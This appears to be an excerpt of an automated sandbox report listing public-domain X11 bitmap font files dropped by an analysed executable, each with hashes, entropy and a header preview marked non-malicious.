C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19588
Entropy (8bit):	3.2749764268241033
Encrypted:	false
SSDEEP:	96:GY2+P1SZPb4FmQ3cc3bcccnsdQqFHlSoVgjWqEHR3bZ3Ea8OoIOll07em:Gt+P1SZPbARXxzqYZTAGJ
MD5:	E2F78149679E49066990D7D9BCF6B7AB
SHA1:	917CD2B90F4F7F81F24D34961E8762F3B2FD4CEF
SHA-256:	FEA836D6EB1C8AF345E1C24250A05288A6DA12C0E63F2180AC846764E102A343
SHA-512:	7D3E6ED0E187304059CB40C7F269880317296121DC2A2FB3802E3602C2A290938A9E5556BA83885819D321B69E2E6518B0A37EADDC3471AF974BAFC9E4010B2C
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?...............B..........d...<L............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F....................................... ........+........4....9...p........w....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.......................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-10.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19560
Entropy (8bit):	3.2742545764722126
Encrypted:	false
SSDEEP:	96:Giut1SZPbsFmQ3cc3bccc6RFHlSo4EXedHR3bZ3+L+sLhaLc2:Giut1SZPbmXMEOvZbsLQJ
MD5:	3C99291C0D5694137C5552673AC9C8DE
SHA1:	52FBA8D120DD211A6A66C1FEB2D4938E8F2DB438
SHA-256:	3BCD6A6BA21ABBFF21EF0FF844E6A087B29839535F8C8792390A7A98F84E3286
SHA-512:	74DC9C0E0017F7433780B53F39B5D7C0B0ECC66FB59AA0CCC0040C92D322A1369C558F125081B9BCB28E210C5CA4C0B5E08788CA00F496FF26812BA9F62A7D40
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?..........\|....B..........d... L............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F.......................................!........,........5....:...r........y....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.10.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-10.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-11.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	18852
Entropy (8bit):	3.202864963152931
Encrypted:	false
SSDEEP:	96:G3HNE1SZPbgmQ3cc3bcccocccHAecmccccccccbtcccDbI3oF3lSownnnJHR3bZZ:G3HNE1SZPbFto3cnbZQG7
MD5:	0A4F5C6F3EBEC26A7A1CFC2E845BA045
SHA1:	4356458C204F48DB509D1D280FE141129335A14F
SHA-256:	D17A7895EF45B3EF08857CA07CEB4F03A94B069F58D02A330F2D415A9D69F362
SHA-512:	46EBD6414F65733A6DA8642C1696ED49EAF90CBBEF3A3ABE41AD32B5D023B48C8FED10AC6EA41D3BB2F50FC8AAC8829FFC08002409805982B6617594F738B789
Malicious:	false
Preview:	.fcp............l...............d...............<...h........... /..............<....6.. ............;..@.......d....=..............l@..........d...\I............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F.......................................!........,........5....:...r........y....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.11.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-11.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-13.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19624
Entropy (8bit):	3.2981027878472164
Encrypted:	false
SSDEEP:	96:Gi3M1SZPbYFmQ3cc3bcccKrXSFHlSo6gyogLhHR3bZ32m5oIcj5lkvCsozj:Gi3M1SZPbSCXMvZBXeLiBozj
MD5:	DD80378C2C15EDA48C0DBD095310777D
SHA1:	7CFC7E4D869D2F4DA259B4E57FE7E77B0B58E4F7
SHA-256:	DA5D10E9D10FC21332CCF4DC76B2FF176ED4FFD684701735101D40D37B80064D
SHA-512:	D11F468167E2A01837B7A4A8F9500AF3880A612B728FEE9757B4CB15F5E990951CFD59C6FC4BA4688C5A0B548789F33D8B2BA6331CA52FA90B1FE979604BD1E5
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?...............B..........d...`L............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F.......................................!........,........5....:...r........y....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.13.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-13.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19576
Entropy (8bit):	3.2870336469741033
Encrypted:	false
SSDEEP:	96:GCFoJ1SZPbQFmQ3cc3bcccRpFHlSoHFHR3bZ3MqRxu:GCKJ1SZPbvXTXZc8o
MD5:	17EECE6853BBF5237D25ED56AAF0DCA7
SHA1:	84C07AD9926DC0468FAE81077260887FA8CE699A
SHA-256:	EDC53255B031F7B675335DC87CEBB04EA32BB26BEEA2FA1F3518F81F3496911F
SHA-512:	5C7A3D29CE47F15C15D122F437D6F056D1BA44CD8475CFE095D69FE1533FBFE690422B92408F6DA18057FB21605E7571FCB4A1AA64CDE7AA0115097BDA8D98FB
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?...............B..........d...0L............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F.......................................!........,........5....:...r........y....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.14.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-14.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-15.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19560
Entropy (8bit):	3.2720306042662184
Encrypted:	false
SSDEEP:	96:GiZu1SZPb2FmQ3cc3bcccyrzdQqFHlSoLX2HR3bZ3EaJoI0207em:GiZu1SZPbkzRXeZVkx
MD5:	901B37448B5D72CC5565EE800132A26F
SHA1:	106A4DC74FB63E44E53BEDC950CCF1C9CA0DF8EC
SHA-256:	D877794D73C03ECE187B02DEC3690265968BB8260317841E66BE1D35202DD416
SHA-512:	75ACD77AD3462B98BC6D76291C9EA9C8EA0272EF419E8E8C1E18A6E7AE96BD9616AFE4FB0E5095FFA34DD62DC94D96E8D08BD0BE657377CFB3E8DBC292D689BA
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?..........\|....B..........d... L............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F.......................................!........,........5....:...r........y....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.15.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-15.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-16.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19608
Entropy (8bit):	3.2832503290488466
Encrypted:	false
SSDEEP:	96:GCE71SZPbCFmQ3cc3bcccDCFHlSo3ILKHR3bZ3H5oA5fFRT:GCE71SZPb0XDILKZXPPF
MD5:	A1BC8731A225D2204EF963703FD8769A
SHA1:	EE1D915DB184ED2CD26513AF53C8CD208C82D22A
SHA-256:	0E6336CD4C197B53CE857F42EC147DCA6FD47CA558F87D5560715EB65BB91B5C
SHA-512:	2A6A8FE8681C71D2D2A38D77BDE31C93E2E456B79AB833D03ED893C3484A2843A8092C529AE8DC32D795A3FC54B9CFDA9B602B98EB45F4B3561436413D8A197D
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?...............B..........d...PL............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F.......................................!........,........5....:...r........y....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.16.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-16.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-2.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19552
Entropy (8bit):	3.2506818534731354
Encrypted:	false
SSDEEP:	96:GQ2HT1SZPbcFmQ3cc3bcccnFHlSo/28uxJHR3bZ3jL5s1O:GlHT1SZPbnXj28aZTr
MD5:	7A484C92918FD1D0DE4CED65603A49B6
SHA1:	D9C937BC22A5C2C48A5A2A12AFBECD1FCBAC3176
SHA-256:	FD93E0AC207B149B270875832ED6A72B9FEFE57B7727E7F8BFC56DA54EAC3439
SHA-512:	D2B433DB76930E2B897C70689CB568B2048037106D18FA8AE0AAEAC2230D4452062A5F40CE5BA2D3D459F950221BD08362492225813C36D1A2BA41AD7A1CE850
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?..........t....B..........d....L............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F....................................... ........+........4....9...p........w....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.2.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-2.WEIGHT.RESOLUTION.QUAD_WIDTH.......................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-3.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19048
Entropy (8bit):	3.2697487434061423
Encrypted:	false
SSDEEP:	96:Go2Yx1SZPbTmQ3cc3bccc8j/KdulSo845fHR3bZ3Du6x1:GdYx1SZPbfzKITfZhf
MD5:	FD85FA17E1ADA15B75F8555DEC7BF675
SHA1:	CAC9C1A2230DAEF99D29952759BB123C1173C890
SHA-256:	2E1631D80AC0C9A59C0188CD81E41DCBB69EE16BC7806CFBA1CB2B8B37739531
SHA-512:	5769ED56A4416A9484A0A2415AAEC2787E7048288E172165568020CD6A0A33BA439BD4D8EBCBB7C3D40A0DF91706CDAB53D266EFF6BA5EC7A7F815D18231EC4A
Malicious:	false
Preview:	.fcp............l...............d...............@...h...........X/..............@....7.. ...........@;..@.......h...P=..........h....@..........d... J............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F....................................... ........+........4....9...p........w....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.3.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-3.WEIGHT.RESOLUTION.QUAD_WIDTH.......................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-4.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19572
Entropy (8bit):	3.2642960291385026
Encrypted:	false
SSDEEP:	96:G42pR1SZPb4FmQ3cc3bccc+zVFHlSoIAMefeiJGHR3bZ3aOXBecz:GNpR1SZPbOXVGioZBBz
MD5:	280EB7EF2DBFF8808E8EF6941035485E
SHA1:	97C5BFA08605500D6CF6ACB2814F800D18779D3E
SHA-256:	F60C966E2818F5A47C880F79E8C37E7D7D3D01113BEC145739385BBB86F2464E
SHA-512:	20C58E185AB4FE9F4FB4B2578997591866FBAB0550C07FC659DEC367C1358E17E56DED2B39EF58CD1596246C1CE431398054EB17C3C4842B9DDE41BB4CB01F35
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?...............B..........d...,L............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F....................................... ........+........4....9...p........w....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.4.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-4.WEIGHT.RESOLUTION.QUAD_WIDTH.......................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-5.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19700
Entropy (8bit):	3.2769656042514206
Encrypted:	false
SSDEEP:	96:GF2aL1SZPbiFmQ3cc3bccchQH5cQcccccgqAqfcoFHlSo1HR3bZ383Ijvyu:GsaL1SZPb4KNX7ZSIz
MD5:	6DF24996E6567AC19A582420B1E681D9
SHA1:	E15F9AE347296F7E3E924CA8E6884C6180148845
SHA-256:	EB1EC43A1FCD5EC68D2CE9C9F2F1A8A53EA02E145FADE10EB9AB136D900A18D9
SHA-512:	09786C6E5F012C3E7557CC8CC125249D0D7D24C483E04B4B38AF36EE986920467AE30CC7FFB764142B722F3AD8C71B3D1DDA7342245644AEEBE7AE576478E911
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?...............B..........d....L............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F....................................... ........+........4....9...p........w....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.5.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-5.WEIGHT.RESOLUTION.QUAD_WIDTH.......................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-7.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19272
Entropy (8bit):	3.240351412805653
Encrypted:	false
SSDEEP:	96:Gya2Uw1SZPbsKmQ3cc3bcccecXHv3crfGlSoeGmxHR3bZ3Eov81dTfvVRgB:GynUw1SZPbssCMDZP
MD5:	3B5C6CD846C0602C1A5B42687987C92E
SHA1:	412585A9BF8207EF3309B3DDBCD4842B93EF72D6
SHA-256:	D783E4F3243BF71210F223E07D5B2F9D5CD8AC352DF66A6C7BDD3D5AAB6CCDAE
SHA-512:	0ACA56637E66E967E219035B2C30A461EBAE5B37C522D6B63E04A3ED0A07A19EC880A4343C8894DA58E2E40BA65472F47690BA5E9D05B4DFE58B4A96EE455D8B
Malicious:	false
Preview:	.fcp............l...............d...............T...h...........80..............T....7.. ...........H<..@.......x...T>..........4....A..........d....K............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F....................................... ........+........4....9...p........w....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.7.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-7.WEIGHT.RESOLUTION.QUAD_WIDTH.......................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-8.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16488
Entropy (8bit):	3.2885904571578983
Encrypted:	false
SSDEEP:	96:Gcl2lK1SZP0mQ3cc3bcccHp823ccn7f+lSoOEHR3bZ3SGoIY8l/E:GcMlK1SZP/f6xZdt/E
MD5:	50F1C4C4C86D3AEE18EA57A376695755
SHA1:	8C3CC8FD0C7287918F31A8A2FC67B51A1F57DF62
SHA-256:	FB54FBD115F30D2BAAC777F538B1677ED9D411604D01A2608ABAAEC2054FA33B
SHA-512:	84F370055825F75B59AF815DE13B4FB7AAD186287C8D5748AAF684280C86BF9B427A61F4924C6185EE42C084EE1EEF5692DE56B41848F33E88D6F2D943B47AB0
Malicious:	false
Preview:	.fcp............l...............d...................h............(.................../.. ...........@3..@...........D5..............08..........d... @............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F....................................... ........+........4....9...p........w....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.8.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-8.WEIGHT.RESOLUTION.QUAD_WIDTH........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B-ISO8859-9.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19604
Entropy (8bit):	3.2770746080798507
Encrypted:	false
SSDEEP:	96:G42mX1SZPbIFmQ3cc3bcccnsExNPFHlSoVZTHR3bZ3Ea8OoIOllTre6:GNmX1SZPbQGXxZRZTAF3
MD5:	73D5FF1661E2ED4A630B123E1B6A6A34
SHA1:	989E83EF00439BD7E0524CB7BCE78F99F929BA91
SHA-256:	D2F8376F19367A5AB134B271007BA6466E3E535E78CF2D94958A4CFB24FADAA6
SHA-512:	4A5A026B0065B0F19590DB4310CBB00FB427E186E418EBE9A46FBE7A2DFE6526EE373CF64DDED4D43072FA47DCE251FCA71A3C015D76123F820C22D0BBC71063
Malicious:	false
Preview:	.fcp............l...............d...............d...h............0..............d....8.. ............=..@........... ?...............B..........d...LL............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F....................................... ........+........4....9...p........w....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.9.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO8859-9.WEIGHT.RESOLUTION.QUAD_WIDTH.......................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13B.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	103436
Entropy (8bit):	3.429409263443405
Encrypted:	false
SSDEEP:	384:2MLShb9nKxtofudB9Prb7brb1n03vCjyGhQbCLRs8jshNw:dLgFuXtfPf18C2GhQbCVPuNw
MD5:	70EF3465478A84C7C82427E5060036EC
SHA1:	620E8B434F5DC82066FCD3FC3A0D25B0E9980134
SHA-256:	F0B4CE50F1453E03E872B0E1096B38743FCCB9F32516955515FBE46AC4286353
SHA-512:	EDDF14F3611B201809D435A0C5881A32613AC2E5D24BDDF5E23FA1D829E15C37B50F334A96900741C18F996A2FA09409E7E660909A8AC288CDA15118D6837BC4
Malicious:	false
Preview:	.fcp............................d...4...............................8................... ........N..X...@...........hT.........../...d..........d................................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................F.......................................!..../...H........S........\....a.................k.............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.DESTINATION.COPYRIGHT.Public domain font. Share and enjoy.._XMBDFED_INFO.Edited with xmbdfed 4.5..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO10646-1.WEIGHT.RESOLUTION.QUAD_WIDTH.....................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x13O-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	17028
Entropy (8bit):	3.286763195831042
Encrypted:	false
SSDEEP:	96:S6p3lbJR071SZPURsHyBTLR+ZOGXanbZ3Ea8OoIOll07eZ:S6xVJRe1SZP8oZOUabZTAGk
MD5:	8E23F5856490B4AA65A58F16805A96CA
SHA1:	A1A4090D1670C05A77F0C2C9A3FD72A3131C483C
SHA-256:	688A46D3CCDCEA2618135A745C84C645A3315E8E803013C2CF13643D3FB09DE7
SHA-512:	B9B1ADD04B8F197129026FFB3601D062370B45F7C9F98917763B4A02D01DC345504C25DD611BFDE896331BA3B4D3B50842E4BDB116CA1800B6E61F269441CDCB
Malicious:	false
Preview:	.fcp............p...............d...................l............*..4...............L1.. ............5..@...........$7..............,:..........d...<B............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................F......................................."........-........6....;...t........{....k..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..DESTINATION.CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-O-Normal--13-120-75-75-C-70-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH....................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x14-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	20464
Entropy (8bit):	3.2197600534019566
Encrypted:	false
SSDEEP:	96:2ylhJ0Axj2Nd/oxBqC2jJvi5izFmlSoVgjWqEHR3bZ3Ea8OoIOll07e3xjl:2yTJ0D9oW7jhEizYxzqYZTAGs
MD5:	7148F866994B7940188690EC5783EC64
SHA1:	443424364FD1D41D15E8C67E68CF55E5C196A161
SHA-256:	6472E94E30F5E0FC11E9B1F91A4CF6825A8FAC37D0C6C9BDE335AB101FABE634
SHA-512:	65FEFDF71E03771635962272668EFBF707ACA18F47669A038633E6D3F98F81AD98CDEDEEE1D97DB2131AAAA6308021C649DD06FDC6593EB8475C81513A9F1436
Malicious:	false
